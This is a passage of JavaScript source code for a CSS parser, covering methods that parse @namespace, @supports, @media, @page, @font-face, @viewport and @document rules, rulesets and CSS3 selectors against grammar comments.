1041 col: importToken.startCol
1042 });
1043 }
1044
1045 },
1046
1047 _namespace: function(emit) {
1048 /*
1049 * namespace
1050 * : NAMESPACE_SYM S* [namespace_prefix S*]? [STRING|URI] S* ';' S*
1051 */
1052
1053 var tokenStream = this._tokenStream,
1054 line,
1055 col,
1056 prefix,
1057 uri;
1058
1059 //read import symbol
1060 tokenStream.mustMatch(Tokens.NAMESPACE_SYM);
1061 line = tokenStream.token().startLine;
1062 col = tokenStream.token().startCol;
1063 this._readWhitespace();
1064
1065 //it's a namespace prefix - no _namespace_prefix() method because it's just an IDENT
1066 if (tokenStream.match(Tokens.IDENT)) {
1067 prefix = tokenStream.token().value;
1068 this._readWhitespace();
1069 }
1070
1071 tokenStream.mustMatch([Tokens.STRING, Tokens.URI]);
1072 /*if (!tokenStream.match(Tokens.STRING)){
1073 tokenStream.mustMatch(Tokens.URI);
1074 }*/
1075
1076 //grab the URI value
1077 uri = tokenStream.token().value.replace(/(?:url\()?["']([^"']+)["']\)?/, "$1");
1078
1079 this._readWhitespace();
1080
1081 //must end with a semicolon
1082 tokenStream.mustMatch(Tokens.SEMICOLON);
1083 this._readWhitespace();
1084
1085 if (emit !== false) {
1086 this.fire({
1087 type: "namespace",
1088 prefix: prefix,
1089 uri: uri,
1090 line: line,
1091 col: col
1092 });
1093 }
1094
1095 },
1096
1097 _supports: function(emit) {
1098 /*
1099 * supports_rule
1100 * : SUPPORTS_SYM S* supports_condition S* group_rule_body
1101 * ;
1102 */
1103 var tokenStream = this._tokenStream,
1104 line,
1105 col;
1106
1107 if (tokenStream.match(Tokens.SUPPORTS_SYM)) {
1108 line = tokenStream.token().startLine;
1109 col = tokenStream.token().startCol;
1110
1111 this._readWhitespace();
1112 this._supports_condition();
1113 this._readWhitespace();
1114
1115 tokenStream.mustMatch(Tokens.LBRACE);
1116 this._readWhitespace();
1117
1118 if (emit !== false) {
1119 this.fire({
1120 type: "startsupports",
1121 line: line,
1122 col: col
1123 });
1124 }
1125
1126 while (true) {
1127 if (!this._ruleset()) {
1128 break;
1129 }
1130 }
1131
1132 tokenStream.mustMatch(Tokens.RBRACE);
1133 this._readWhitespace();
1134
1135 this.fire({
1136 type: "endsupports",
1137 line: line,
1138 col: col
1139 });
1140 }
1141 },
1142
1143 _supports_condition: function() {
1144 /*
1145 * supports_condition
1146 * : supports_negation | supports_conjunction | supports_disjunction |
1147 * supports_condition_in_parens
1148 * ;
1149 */
1150 var tokenStream = this._tokenStream,
1151 ident;
1152
1153 if (tokenStream.match(Tokens.IDENT)) {
1154 ident = tokenStream.token().value.toLowerCase();
1155
1156 if (ident === "not") {
1157 tokenStream.mustMatch(Tokens.S);
1158 this._supports_condition_in_parens();
1159 } else {
1160 tokenStream.unget();
1161 }
1162 } else {
1163 this._supports_condition_in_parens();
1164 this._readWhitespace();
1165
1166 while (tokenStream.peek() === Tokens.IDENT) {
1167 ident = tokenStream.LT(1).value.toLowerCase();
1168 if (ident === "and" || ident === "or") {
1169 tokenStream.mustMatch(Tokens.IDENT);
1170 this._readWhitespace();
1171 this._supports_condition_in_parens();
1172 this._readWhitespace();
1173 }
1174 }
1175 }
1176 },
1177
1178 _supports_condition_in_parens: function() {
1179 /*
1180 * supports_condition_in_parens
1181 * : ( '(' S* supports_condition S* ')' ) | supports_declaration_condition |
1182 * general_enclosed
1183 * ;
1184 */
1185 var tokenStream = this._tokenStream,
1186 ident;
1187
1188 if (tokenStream.match(Tokens.LPAREN)) {
1189 this._readWhitespace();
1190 if (tokenStream.match(Tokens.IDENT)) {
1191 // look ahead for not keyword, if not given, continue with declaration condition.
1192 ident = tokenStream.token().value.toLowerCase();
1193 if (ident === "not") {
1194 this._readWhitespace();
1195 this._supports_condition();
1196 this._readWhitespace();
1197 tokenStream.mustMatch(Tokens.RPAREN);
1198 } else {
1199 tokenStream.unget();
1200 this._supports_declaration_condition(false);
1201 }
1202 } else {
1203 this._supports_condition();
1204 this._readWhitespace();
1205 tokenStream.mustMatch(Tokens.RPAREN);
1206 }
1207 } else {
1208 this._supports_declaration_condition();
1209 }
1210 },
1211
1212 _supports_declaration_condition: function(requireStartParen) {
1213 /*
1214 * supports_declaration_condition
1215 * : '(' S* declaration ')'
1216 * ;
1217 */
1218 var tokenStream = this._tokenStream;
1219
1220 if (requireStartParen !== false) {
1221 tokenStream.mustMatch(Tokens.LPAREN);
1222 }
1223 this._readWhitespace();
1224 this._declaration();
1225 tokenStream.mustMatch(Tokens.RPAREN);
1226 },
1227
1228 _media: function() {
1229 /*
1230 * media
1231 * : MEDIA_SYM S* media_query_list S* '{' S* ruleset* '}' S*
1232 * ;
1233 */
1234 var tokenStream = this._tokenStream,
1235 line,
1236 col,
1237 mediaList;// = [];
1238
1239 //look for @media
1240 tokenStream.mustMatch(Tokens.MEDIA_SYM);
1241 line = tokenStream.token().startLine;
1242 col = tokenStream.token().startCol;
1243
1244 this._readWhitespace();
1245
1246 mediaList = this._media_query_list();
1247
1248 tokenStream.mustMatch(Tokens.LBRACE);
1249 this._readWhitespace();
1250
1251 this.fire({
1252 type: "startmedia",
1253 media: mediaList,
1254 line: line,
1255 col: col
1256 });
1257
1258 while (true) {
1259 if (tokenStream.peek() === Tokens.PAGE_SYM) {
1260 this._page();
1261 } else if (tokenStream.peek() === Tokens.FONT_FACE_SYM) {
1262 this._font_face();
1263 } else if (tokenStream.peek() === Tokens.VIEWPORT_SYM) {
1264 this._viewport();
1265 } else if (tokenStream.peek() === Tokens.DOCUMENT_SYM) {
1266 this._document();
1267 } else if (tokenStream.peek() === Tokens.SUPPORTS_SYM) {
1268 this._supports();
1269 } else if (tokenStream.peek() === Tokens.MEDIA_SYM) {
1270 this._media();
1271 } else if (!this._ruleset()) {
1272 break;
1273 }
1274 }
1275
1276 tokenStream.mustMatch(Tokens.RBRACE);
1277 this._readWhitespace();
1278
1279 this.fire({
1280 type: "endmedia",
1281 media: mediaList,
1282 line: line,
1283 col: col
1284 });
1285 },
1286
1287
1288 //CSS3 Media Queries
1289 _media_query_list: function() {
1290 /*
1291 * media_query_list
1292 * : S* [media_query [ ',' S* media_query ]* ]?
1293 * ;
1294 */
1295 var tokenStream = this._tokenStream,
1296 mediaList = [];
1297
1298
1299 this._readWhitespace();
1300
1301 if (tokenStream.peek() === Tokens.IDENT || tokenStream.peek() === Tokens.LPAREN) {
1302 mediaList.push(this._media_query());
1303 }
1304
1305 while (tokenStream.match(Tokens.COMMA)) {
1306 this._readWhitespace();
1307 mediaList.push(this._media_query());
1308 }
1309
1310 return mediaList;
1311 },
1312
1313 /*
1314 * Note: "expression" in the grammar maps to the _media_expression
1315 * method.
1316
1317 */
1318 _media_query: function() {
1319 /*
1320 * media_query
1321 * : [ONLY | NOT]? S* media_type S* [ AND S* expression ]*
1322 * | expression [ AND S* expression ]*
1323 * ;
1324 */
1325 var tokenStream = this._tokenStream,
1326 type = null,
1327 ident = null,
1328 token = null,
1329 expressions = [];
1330
1331 if (tokenStream.match(Tokens.IDENT)) {
1332 ident = tokenStream.token().value.toLowerCase();
1333
1334 //since there's no custom tokens for these, need to manually check
1335 if (ident !== "only" && ident !== "not") {
1336 tokenStream.unget();
1337 ident = null;
1338 } else {
1339 token = tokenStream.token();
1340 }
1341 }
1342
1343 this._readWhitespace();
1344
1345 if (tokenStream.peek() === Tokens.IDENT) {
1346 type = this._media_type();
1347 if (token === null) {
1348 token = tokenStream.token();
1349 }
1350 } else if (tokenStream.peek() === Tokens.LPAREN) {
1351 if (token === null) {
1352 token = tokenStream.LT(1);
1353 }
1354 expressions.push(this._media_expression());
1355 }
1356
1357 if (type === null && expressions.length === 0) {
1358 return null;
1359 } else {
1360 this._readWhitespace();
1361 while (tokenStream.match(Tokens.IDENT)) {
1362 if (tokenStream.token().value.toLowerCase() !== "and") {
1363 this._unexpectedToken(tokenStream.token());
1364 }
1365
1366 this._readWhitespace();
1367 expressions.push(this._media_expression());
1368 }
1369 }
1370
1371 return new MediaQuery(ident, type, expressions, token.startLine, token.startCol);
1372 },
1373
1374 //CSS3 Media Queries
1375 _media_type: function() {
1376 /*
1377 * media_type
1378 * : IDENT
1379 * ;
1380 */
1381 return this._media_feature();
1382 },
1383
1384 /**
1385 * Note: in CSS3 Media Queries, this is called "expression".
1386 * Renamed here to avoid conflict with CSS3 Selectors
1387 * definition of "expression". Also note that "expr" in the
1388 * grammar now maps to "expression" from CSS3 selectors.
1389 * @method _media_expression
1390 * @private
1391 */
1392 _media_expression: function() {
1393 /*
1394 * expression
1395 * : '(' S* media_feature S* [ ':' S* expr ]? ')' S*
1396 * ;
1397 */
1398 var tokenStream = this._tokenStream,
1399 feature = null,
1400 token,
1401 expression = null;
1402
1403 tokenStream.mustMatch(Tokens.LPAREN);
1404
1405 feature = this._media_feature();
1406 this._readWhitespace();
1407
1408 if (tokenStream.match(Tokens.COLON)) {
1409 this._readWhitespace();
1410 token = tokenStream.LT(1);
1411 expression = this._expression();
1412 }
1413
1414 tokenStream.mustMatch(Tokens.RPAREN);
1415 this._readWhitespace();
1416
1417 return new MediaFeature(feature, expression ? new SyntaxUnit(expression, token.startLine, token.startCol) : null);
1418 },
1419
1420 //CSS3 Media Queries
1421 _media_feature: function() {
1422 /*
1423 * media_feature
1424 * : IDENT
1425 * ;
1426 */
1427 var tokenStream = this._tokenStream;
1428
1429 this._readWhitespace();
1430
1431 tokenStream.mustMatch(Tokens.IDENT);
1432
1433 return SyntaxUnit.fromToken(tokenStream.token());
1434 },
1435
1436 //CSS3 Paged Media
1437 _page: function() {
1438 /*
1439 * page:
1440 * PAGE_SYM S* IDENT? pseudo_page? S*
1441 * '{' S* [ declaration | margin ]? [ ';' S* [ declaration | margin ]? ]* '}' S*
1442 * ;
1443 */
1444 var tokenStream = this._tokenStream,
1445 line,
1446 col,
1447 identifier = null,
1448 pseudoPage = null;
1449
1450 //look for @page
1451 tokenStream.mustMatch(Tokens.PAGE_SYM);
1452 line = tokenStream.token().startLine;
1453 col = tokenStream.token().startCol;
1454
1455 this._readWhitespace();
1456
1457 if (tokenStream.match(Tokens.IDENT)) {
1458 identifier = tokenStream.token().value;
1459
1460 //The value 'auto' may not be used as a page name and MUST be treated as a syntax error.
1461 if (identifier.toLowerCase() === "auto") {
1462 this._unexpectedToken(tokenStream.token());
1463 }
1464 }
1465
1466 //see if there's a colon upcoming
1467 if (tokenStream.peek() === Tokens.COLON) {
1468 pseudoPage = this._pseudo_page();
1469 }
1470
1471 this._readWhitespace();
1472
1473 this.fire({
1474 type: "startpage",
1475 id: identifier,
1476 pseudo: pseudoPage,
1477 line: line,
1478 col: col
1479 });
1480
1481 this._readDeclarations(true, true);
1482
1483 this.fire({
1484 type: "endpage",
1485 id: identifier,
1486 pseudo: pseudoPage,
1487 line: line,
1488 col: col
1489 });
1490
1491 },
1492
1493 //CSS3 Paged Media
1494 _margin: function() {
1495 /*
1496 * margin :
1497 * margin_sym S* '{' declaration [ ';' S* declaration? ]* '}' S*
1498 * ;
1499 */
1500 var tokenStream = this._tokenStream,
1501 line,
1502 col,
1503 marginSym = this._margin_sym();
1504
1505 if (marginSym) {
1506 line = tokenStream.token().startLine;
1507 col = tokenStream.token().startCol;
1508
1509 this.fire({
1510 type: "startpagemargin",
1511 margin: marginSym,
1512 line: line,
1513 col: col
1514 });
1515
1516 this._readDeclarations(true);
1517
1518 this.fire({
1519 type: "endpagemargin",
1520 margin: marginSym,
1521 line: line,
1522 col: col
1523 });
1524 return true;
1525 } else {
1526 return false;
1527 }
1528 },
1529
1530 //CSS3 Paged Media
1531 _margin_sym: function() {
1532
1533 /*
1534 * margin_sym :
1535 * TOPLEFTCORNER_SYM |
1536 * TOPLEFT_SYM |
1537 * TOPCENTER_SYM |
1538 * TOPRIGHT_SYM |
1539 * TOPRIGHTCORNER_SYM |
1540 * BOTTOMLEFTCORNER_SYM |
1541 * BOTTOMLEFT_SYM |
1542 * BOTTOMCENTER_SYM |
1543 * BOTTOMRIGHT_SYM |
1544 * BOTTOMRIGHTCORNER_SYM |
1545 * LEFTTOP_SYM |
1546 * LEFTMIDDLE_SYM |
1547 * LEFTBOTTOM_SYM |
1548 * RIGHTTOP_SYM |
1549 * RIGHTMIDDLE_SYM |
1550 * RIGHTBOTTOM_SYM
1551 * ;
1552 */
1553
1554 var tokenStream = this._tokenStream;
1555
1556 if (tokenStream.match([Tokens.TOPLEFTCORNER_SYM, Tokens.TOPLEFT_SYM,
1557 Tokens.TOPCENTER_SYM, Tokens.TOPRIGHT_SYM, Tokens.TOPRIGHTCORNER_SYM,
1558 Tokens.BOTTOMLEFTCORNER_SYM, Tokens.BOTTOMLEFT_SYM,
1559 Tokens.BOTTOMCENTER_SYM, Tokens.BOTTOMRIGHT_SYM,
1560 Tokens.BOTTOMRIGHTCORNER_SYM, Tokens.LEFTTOP_SYM,
1561 Tokens.LEFTMIDDLE_SYM, Tokens.LEFTBOTTOM_SYM, Tokens.RIGHTTOP_SYM,
1562 Tokens.RIGHTMIDDLE_SYM, Tokens.RIGHTBOTTOM_SYM])) {
1563 return SyntaxUnit.fromToken(tokenStream.token());
1564 } else {
1565 return null;
1566 }
1567
1568 },
1569
1570 _pseudo_page: function() {
1571 /*
1572 * pseudo_page
1573 * : ':' IDENT
1574 * ;
1575 */
1576
1577 var tokenStream = this._tokenStream;
1578
1579 tokenStream.mustMatch(Tokens.COLON);
1580 tokenStream.mustMatch(Tokens.IDENT);
1581
1582 //TODO: CSS3 Paged Media says only "left", "center", and "right" are allowed
1583
1584 return tokenStream.token().value;
1585 },
1586
1587 _font_face: function() {
1588 /*
1589 * font_face
1590 * : FONT_FACE_SYM S*
1591 * '{' S* declaration [ ';' S* declaration ]* '}' S*
1592 * ;
1593 */
1594 var tokenStream = this._tokenStream,
1595 line,
1596 col;
1597
1598 //look for @page
1599 tokenStream.mustMatch(Tokens.FONT_FACE_SYM);
1600 line = tokenStream.token().startLine;
1601 col = tokenStream.token().startCol;
1602
1603 this._readWhitespace();
1604
1605 this.fire({
1606 type: "startfontface",
1607 line: line,
1608 col: col
1609 });
1610
1611 this._readDeclarations(true);
1612
1613 this.fire({
1614 type: "endfontface",
1615 line: line,
1616 col: col
1617 });
1618 },
1619
1620 _viewport: function() {
1621 /*
1622 * viewport
1623 * : VIEWPORT_SYM S*
1624 * '{' S* declaration? [ ';' S* declaration? ]* '}' S*
1625 * ;
1626 */
1627 var tokenStream = this._tokenStream,
1628 line,
1629 col;
1630
1631 tokenStream.mustMatch(Tokens.VIEWPORT_SYM);
1632 line = tokenStream.token().startLine;
1633 col = tokenStream.token().startCol;
1634
1635 this._readWhitespace();
1636
1637 this.fire({
1638 type: "startviewport",
1639 line: line,
1640 col: col
1641 });
1642
1643 this._readDeclarations(true);
1644
1645 this.fire({
1646 type: "endviewport",
1647 line: line,
1648 col: col
1649 });
1650
1651 },
1652
1653 _document: function() {
1654 /*
1655 * document
1656 * : DOCUMENT_SYM S*
1657 * _document_function [ ',' S* _document_function ]* S*
1658 * '{' S* ruleset* '}'
1659 * ;
1660 */
1661
1662 var tokenStream = this._tokenStream,
1663 token,
1664 functions = [],
1665 prefix = "";
1666
1667 tokenStream.mustMatch(Tokens.DOCUMENT_SYM);
1668 token = tokenStream.token();
1669 if (/^@\-([^\-]+)\-/.test(token.value)) {
1670 prefix = RegExp.$1;
1671 }
1672
1673 this._readWhitespace();
1674 functions.push(this._document_function());
1675
1676 while (tokenStream.match(Tokens.COMMA)) {
1677 this._readWhitespace();
1678 functions.push(this._document_function());
1679 }
1680
1681 tokenStream.mustMatch(Tokens.LBRACE);
1682 this._readWhitespace();
1683
1684 this.fire({
1685 type: "startdocument",
1686 functions: functions,
1687 prefix: prefix,
1688 line: token.startLine,
1689 col: token.startCol
1690 });
1691
1692 var ok = true;
1693 while (ok) {
1694 switch (tokenStream.peek()) {
1695 case Tokens.PAGE_SYM:
1696 this._page();
1697 break;
1698 case Tokens.FONT_FACE_SYM:
1699 this._font_face();
1700 break;
1701 case Tokens.VIEWPORT_SYM:
1702 this._viewport();
1703 break;
1704 case Tokens.MEDIA_SYM:
1705 this._media();
1706 break;
1707 case Tokens.KEYFRAMES_SYM:
1708 this._keyframes();
1709 break;
1710 case Tokens.DOCUMENT_SYM:
1711 this._document();
1712 break;
1713 default:
1714 ok = Boolean(this._ruleset());
1715 }
1716 }
1717
1718 tokenStream.mustMatch(Tokens.RBRACE);
1719 token = tokenStream.token();
1720 this._readWhitespace();
1721
1722 this.fire({
1723 type: "enddocument",
1724 functions: functions,
1725 prefix: prefix,
1726 line: token.startLine,
1727 col: token.startCol
1728 });
1729 },
1730
1731 _document_function: function() {
1732 /*
1733 * document_function
1734 * : function | URI S*
1735 * ;
1736 */
1737
1738 var tokenStream = this._tokenStream,
1739 value;
1740
1741 if (tokenStream.match(Tokens.URI)) {
1742 value = tokenStream.token().value;
1743 this._readWhitespace();
1744 } else {
1745 value = this._function();
1746 }
1747
1748 return value;
1749 },
1750
1751 _operator: function(inFunction) {
1752
1753 /*
1754 * operator (outside function)
1755 * : '/' S* | ',' S* | /( empty )/
1756 * operator (inside function)
1757 * : '/' S* | '+' S* | '*' S* | '-' S* /( empty )/
1758 * ;
1759 */
1760
1761 var tokenStream = this._tokenStream,
1762 token = null;
1763
1764 if (tokenStream.match([Tokens.SLASH, Tokens.COMMA]) ||
1765 (inFunction && tokenStream.match([Tokens.PLUS, Tokens.STAR, Tokens.MINUS]))) {
1766 token = tokenStream.token();
1767 this._readWhitespace();
1768 }
1769 return token ? PropertyValuePart.fromToken(token) : null;
1770
1771 },
1772
1773 _combinator: function() {
1774
1775 /*
1776 * combinator
1777 * : PLUS S* | GREATER S* | TILDE S* | S+
1778 * ;
1779 */
1780
1781 var tokenStream = this._tokenStream,
1782 value = null,
1783 token;
1784
1785 if (tokenStream.match([Tokens.PLUS, Tokens.GREATER, Tokens.TILDE])) {
1786 token = tokenStream.token();
1787 value = new Combinator(token.value, token.startLine, token.startCol);
1788 this._readWhitespace();
1789 }
1790
1791 return value;
1792 },
1793
1794 _unary_operator: function() {
1795
1796 /*
1797 * unary_operator
1798 * : '-' | '+'
1799 * ;
1800 */
1801
1802 var tokenStream = this._tokenStream;
1803
1804 if (tokenStream.match([Tokens.MINUS, Tokens.PLUS])) {
1805 return tokenStream.token().value;
1806 } else {
1807 return null;
1808 }
1809 },
1810
1811 _property: function() {
1812
1813 /*
1814 * property
1815 * : IDENT S*
1816 * ;
1817 */
1818
1819 var tokenStream = this._tokenStream,
1820 value = null,
1821 hack = null,
1822 tokenValue,
1823 token,
1824 line,
1825 col;
1826
1827 //check for star hack - throws error if not allowed
1828 if (tokenStream.peek() === Tokens.STAR && this.options.starHack) {
1829 tokenStream.get();
1830 token = tokenStream.token();
1831 hack = token.value;
1832 line = token.startLine;
1833 col = token.startCol;
1834 }
1835
1836 if (tokenStream.match(Tokens.IDENT)) {
1837 token = tokenStream.token();
1838 tokenValue = token.value;
1839
1840 //check for underscore hack - no error if not allowed because it's valid CSS syntax
1841 if (tokenValue.charAt(0) === "_" && this.options.underscoreHack) {
1842 hack = "_";
1843 tokenValue = tokenValue.substring(1);
1844 }
1845
1846 value = new PropertyName(tokenValue, hack, (line||token.startLine), (col||token.startCol));
1847 this._readWhitespace();
1848 }
1849
1850 return value;
1851 },
1852
1853 //Augmented with CSS3 Selectors
1854 _ruleset: function() {
1855 /*
1856 * ruleset
1857 * : selectors_group
1858 * '{' S* declaration? [ ';' S* declaration? ]* '}' S*
1859 * ;
1860 */
1861
1862 var tokenStream = this._tokenStream,
1863 tt,
1864 selectors;
1865
1866
1867 /*
1868 * Error Recovery: If even a single selector fails to parse,
1869 * then the entire ruleset should be thrown away.
1870 */
1871 try {
1872 selectors = this._selectors_group();
1873 } catch (ex) {
1874 if (ex instanceof SyntaxError && !this.options.strict) {
1875
1876 //fire error event
1877 this.fire({
1878 type: "error",
1879 error: ex,
1880 message: ex.message,
1881 line: ex.line,
1882 col: ex.col
1883 });
1884
1885 //skip over everything until closing brace
1886 tt = tokenStream.advance([Tokens.RBRACE]);
1887 if (tt === Tokens.RBRACE) {
1888 //if there's a right brace, the rule is finished so don't do anything
1889 } else {
1890 //otherwise, rethrow the error because it wasn't handled properly
1891 throw ex;
1892 }
1893
1894 } else {
1895 //not a syntax error, rethrow it
1896 throw ex;
1897 }
1898
1899 //trigger parser to continue
1900 return true;
1901 }
1902
1903 //if it got here, all selectors parsed
1904 if (selectors) {
1905
1906 this.fire({
1907 type: "startrule",
1908 selectors: selectors,
1909 line: selectors[0].line,
1910 col: selectors[0].col
1911 });
1912
1913 this._readDeclarations(true);
1914
1915 this.fire({
1916 type: "endrule",
1917 selectors: selectors,
1918 line: selectors[0].line,
1919 col: selectors[0].col
1920 });
1921
1922 }
1923
1924 return selectors;
1925
1926 },
1927
1928 //CSS3 Selectors
1929 _selectors_group: function() {
1930
1931 /*
1932 * selectors_group
1933 * : selector [ COMMA S* selector ]*
1934 * ;
1935 */
1936 var tokenStream = this._tokenStream,
1937 selectors = [],
1938 selector;
1939
1940 selector = this._selector();
1941 if (selector !== null) {
1942
1943 selectors.push(selector);
1944 while (tokenStream.match(Tokens.COMMA)) {
1945 this._readWhitespace();
1946 selector = this._selector();
1947 if (selector !== null) {
1948 selectors.push(selector);
1949 } else {
1950 this._unexpectedToken(tokenStream.LT(1));
1951 }
1952 }
1953 }
1954
1955 return selectors.length ? selectors : null;
1956 },
1957
1958 //CSS3 Selectors
1959 _selector: function() {
1960 /*
1961 * selector
1962 * : simple_selector_sequence [ combinator simple_selector_sequence ]*
1963 * ;
1964 */
1965
1966 var tokenStream = this._tokenStream,
1967 selector = [],
1968 nextSelector = null,
1969 combinator = null,
1970 ws = null;
1971
1972 //if there's no simple selector, then there's no selector
1973 nextSelector = this._simple_selector_sequence();
1974 if (nextSelector === null) {
1975 return null;
1976 }
1977
1978 selector.push(nextSelector);
1979
1980 do {
1981
1982 //look for a combinator
1983 combinator = this._combinator();
1984
1985 if (combinator !== null) {
1986 selector.push(combinator);
1987 nextSelector = this._simple_selector_sequence();
1988
1989 //there must be a next selector
1990 if (nextSelector === null) {
1991 this._unexpectedToken(tokenStream.LT(1));
1992 } else {
1993
1994 //nextSelector is an instance of SelectorPart
1995 selector.push(nextSelector);
1996 }
1997 } else {
1998
1999 //if there's not whitespace, we're done
2000 if (this._readWhitespace()) {
2001
2002 //add whitespace separator
2003 ws = new Combinator(tokenStream.token().value, tokenStream.token().startLine, tokenStream.token().startCol);
2004
2005 //combinator is not required
2006 combinator = this._combinator();
2007
2008 //selector is required if there's a combinator
2009 nextSelector = this._simple_selector_sequence();
2010 if (nextSelector === null) {
2011 if (combinator !== null) {
2012 this._unexpectedToken(tokenStream.LT(1));
2013 }
2014 } else {
2015
2016 if (combinator !== null) {
2017 selector.push(combinator);
2018 } else {
2019 selector.push(ws);
2020 }
2021
2022 selector.push(nextSelector);
2023 }
2024 } else {
2025 break;
2026 }
2027
2028 }
2029 } while (true);
2030
2031 return new Selector(selector, selector[0].line, selector[0].col);
2032 },
2033
2034 //CSS3 Selectors
2035 _simple_selector_sequence: function() {
2036 /*
2037 * simple_selector_sequence
2038 * : [ type_selector | universal ]
2039 * [ HASH | class | attrib | pseudo | negation ]*
2040 * | [ HASH | class | attrib | pseudo | negation ]+
2041 * ;
2042 */
2043
2044 var tokenStream = this._tokenStream,
2045
2046 //parts of a simple selector
2047 elementName = null,
2048 modifiers = [],
2049
2050 //complete selector text
2051 selectorText= "",
2052
2053 //the different parts after the element name to search for
2054 components = [
2055 //HASH
2056 function() {
2057 return tokenStream.match(Tokens.HASH) ?
2058 new SelectorSubPart(tokenStream.token().value, "id", tokenStream.token().startLine, tokenStream.token().startCol) :
2059 null;
2060 },
2061 this._class,
2062 this._attrib,
2063 this._pseudo,
2064 this._negation
2065 ],
2066 i = 0,
2067 len = components.length,
2068 component = null,
2069 line,
2070 col;
2071
2072
2073 //get starting line and column for the selector
2074 line = tokenStream.LT(1).startLine;
2075 col = tokenStream.LT(1).startCol;
2076
2077 elementName = this._type_selector();
2078 if (!elementName) {
2079 elementName = this._universal();
2080 }
2081
2082 if (elementName !== null) {
2083 selectorText += elementName;
2084 }
2085
2086 while (true) {
2087
2088 //whitespace means we're done
2089 if (tokenStream.peek() === Tokens.S) {
2090 break;
2091 }
2092
2093 //check for each component
2094 while (i < len && component === null) {
2095 component = components[i++].call(this);
2096 }
2097
2098 if (component === null) {
2099
2100 //we don't have a selector
2101 if (selectorText === "") {
2102 return null;
2103 } else {
2104 break;
2105 }
2106 } else {
2107 i = 0;
2108 modifiers.push(component);
2109 selectorText += component.toString();
2110 component = null;
2111 }
2112 }
2113
2114
2115 return selectorText !== "" ?
2116 new SelectorPart(elementName, modifiers, selectorText, line, col) :
2117 null;
2118 },
2119
2120 //CSS3 Selectors
2121 _type_selector: function() {
2122 /*
2123 * type_selector
2124 * : [ namespace_prefix ]? element_name
2125 * ;
2126 */
2127
2128 var tokenStream = this._tokenStream,
2129 ns = this._namespace_prefix(),
2130 elementName = this._element_name();
2131
2132 if (!elementName) {
2133 /*
2134 * Need to back out the namespace that was read due to both
2135 * type_selector and universal reading namespace_prefix
2136 * first. Kind of hacky, but only way I can figure out
2137 * right now how to not change the grammar.
2138 */
2139 if (ns) {
2140 tokenStream.unget();
2141 if (ns.length > 1) {
2142 tokenStream.unget();
2143 }
2144 }
2145
2146 return null;
2147 } else {
2148 if (ns) {
2149 elementName.text = ns + elementName.text;
2150 elementName.col -= ns.length;
2151 }
2152 return elementName;
2153 }
2154 },
2155
2156 //CSS3 Selectors
2157 _class: function() {
2158 /*
2159 * class
2160 * : '.' IDENT
2161 * ;
2162 */
2163
2164 var tokenStream = this._tokenStream,
2165 token;
2166
2167 if (tokenStream.match(Tokens.DOT)) {
2168 tokenStream.mustMatch(Tokens.IDENT);
2169 token = tokenStream.token();
2170 return new SelectorSubPart("." + token.value, "class", token.startLine, token.startCol - 1);
2171 } else {
2172 return null;
2173 }
2174
2175 },
2176
2177 //CSS3 Selectors
2178 _element_name: function() {
2179 /*
2180 * element_name
2181 * : IDENT
2182 * ;
2183 */
2184
2185 var tokenStream = this._tokenStream,
2186 token;
2187
2188 if (tokenStream.match(Tokens.IDENT)) {
2189 token = tokenStream.token();
2190 return new SelectorSubPart(token.value, "elementName", token.startLine, token.startCol);
2191
2192 } else {
2193 return null;
2194 }
2195 },
2196
2197 //CSS3 Selectors
2198 _namespace_prefix: function() {
2199 /*
2200 * namespace_prefix
2201 * : [ IDENT | '*' ]? '|'
2202 * ;
2203 */
2204 var tokenStream = this._tokenStream,
2205 value = "";
2206
2207 //verify that this is a namespace prefix
2208 if (tokenStream.LA(1) === Tokens.PIPE || tokenStream.LA(2) === Tokens.PIPE) {
2209
2210 if (tokenStream.match([Tokens.IDENT, Tokens.STAR])) {
2211 value += tokenStream.token().value;
2212 }
2213
2214 tokenStream.mustMatch(Tokens.PIPE);
2215 value += "|";
2216
2217 }
2218
2219 return value.length ? value : null;
2220 },
2221
2222 //CSS3 Selectors
2223 _universal: function() {
2224 /*
2225 * universal
2226 * : [ namespace_prefix ]? '*'
2227 * ;
2228 */
2229 var tokenStream = this._tokenStream,
2230 value = "",
2231 ns;
2232
2233 ns = this._namespace_prefix();
2234 if (ns) {
2235 value += ns;
2236 }
2237
2238 if (tokenStream.match(Tokens.STAR)) {
2239 value += "*";
2240 }
2241
2242 return value.length ? value : null;
2243
2244 },
2245
2246 //CSS3 Selectors
2247 _attrib: function() {
2248 /*
2249 * attrib
2250 * : '[' S* [ namespace_prefix ]? IDENT S*
2251 * [ [ PREFIXMATCH |
2252 * SUFFIXMATCH |
2253 * SUBSTRINGMATCH |
2254 * '=' |
2255 * INCLUDES |
2256 * DASHMATCH ] S* [ IDENT | STRING ] S*
2257 * ]? ']'
2258 * ;
2259 */
2260
2261 var tokenStream = this._tokenStream,
2262 value = null,
2263 ns,
2264 token;
2265
2266 if (tokenStream.match(Tokens.LBRACKET)) {
2267 token = tokenStream.token();
2268 value = token.value;
2269 value += this._readWhitespace();
2270
2271 ns = this._namespace_prefix();
2272
2273 if (ns) {
2274 value += ns;
2275 }
2276
2277 tokenStream.mustMatch(Tokens.IDENT);
2278 value += tokenStream.token().value;
2279 value += this._readWhitespace();
2280
2281 if (tokenStream.match([Tokens.PREFIXMATCH, Tokens.SUFFIXMATCH, Tokens.SUBSTRINGMATCH,
2282 Tokens.EQUALS, Tokens.INCLUDES, Tokens.DASHMATCH])) {
2283
2284 value += tokenStream.token().value;
2285 value += this._readWhitespace();
2286
2287 tokenStream.mustMatch([Tokens.IDENT, Tokens.STRING]);
2288 value += tokenStream.token().value;
2289 value += this._readWhitespace();
2290 }
2291
2292 tokenStream.mustMatch(Tokens.RBRACKET);
2293
2294 return new SelectorSubPart(value + "]", "attribute", token.startLine, token.startCol);
2295 } else {
2296 return null;
2297 }
2298 },
2299
2300 //CSS3 Selectors
2301 _pseudo: function() {
2302
2303 /*
2304 * pseudo
2305 * : ':' ':'? [ IDENT | functional_pseudo ]
2306 * ;
2307 */
2308
2309 var tokenStream = this._tokenStream,
2310 pseudo = null,
2311 colons = ":",
2312 line,
2313 col;
2314
2315 if (tokenStream.match(Tokens.COLON)) {
2316
2317 if (tokenStream.match(Tokens.COLON)) {
2318 colons += ":";
2319 }
2320
2321 if (tokenStream.match(Tokens.IDENT)) {
2322 pseudo = tokenStream.token().value;
2323 line = tokenStream.token().startLine;
2324 col = tokenStream.token().startCol - colons.length;
2325 } else if (tokenStream.peek() === Tokens.FUNCTION) {
2326 line = tokenStream.LT(1).startLine;
2327 col = tokenStream.LT(1).startCol - colons.length;
2328 pseudo = this._functional_pseudo();
2329 }
2330
2331 if (pseudo) {
